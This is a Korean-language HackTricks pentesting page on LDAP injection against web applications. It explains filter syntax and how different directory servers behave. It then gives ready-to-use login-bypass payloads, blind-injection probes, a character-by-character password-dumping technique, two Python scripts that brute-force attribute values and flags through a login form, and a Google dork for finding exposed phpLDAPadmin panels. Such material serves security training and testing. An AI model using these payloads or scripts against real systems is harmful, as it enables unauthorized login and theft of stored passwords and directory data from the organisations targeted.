hacktricks/pentesting-web/ldap-injection.md

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# LDAP Injection
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## LDAP Injection
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## LDAP Injection
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### **LDAP**
**LDAP에 대해 알고 싶다면 다음 페이지를 참조하세요:**
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{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection**은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 **적절히 정화하지 못할** 때 발생하며, 공격자가 로컬 프록시를 통해 **LDAP 문장을 조작**할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE
예를 들어:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
데이터베이스에 접근할 수 있으며, 이는 다양한 유형의 정보를 포함할 수 있습니다.
**OpenLDAP**: 2개의 필터가 도착하면 첫 번째 필터만 실행합니다.\
**ADAM 또는 Microsoft LDS**: 2개의 필터가 있을 경우 오류를 발생시킵니다.\
**SunOne Directory Server 5.0**: 두 개의 필터를 모두 실행합니다.
**올바른 구문으로 필터를 보내는 것이 매우 중요하며, 그렇지 않으면 오류가 발생합니다. 필터는 하나만 보내는 것이 좋습니다.**
필터는 다음으로 시작해야 합니다: `&` 또는 `|`\
예: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
그런 다음: `(&(objectClass=`**`*)(ObjectClass=*))`**가 첫 번째 필터(실행되는 필터)가 됩니다.
### Login Bypass
LDAP는 비밀번호를 저장하는 여러 형식을 지원합니다: clear, md5, smd5, sh1, sha, crypt. 따라서 비밀번호에 무엇을 입력하든 관계없이 해시될 수 있습니다.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```
```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```
```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```
```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Lists
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* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
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### Blind LDAP Injection
False 또는 True 응답을 강제로 생성하여 데이터가 반환되는지 확인하고 가능한 Blind LDAP Injection을 확인할 수 있습니다:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data
ascii 문자, 숫자 및 기호를 반복할 수 있습니다:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
```
### Scripts
#### **유효한 LDAP 필드 발견**
LDAP 객체는 **기본적으로 여러 속성을 포함하고** 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
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value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **특수 블라인드 LDAP 인젝션 (without "\*")**
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
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print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### 구글 도크스
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### More Payloads
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{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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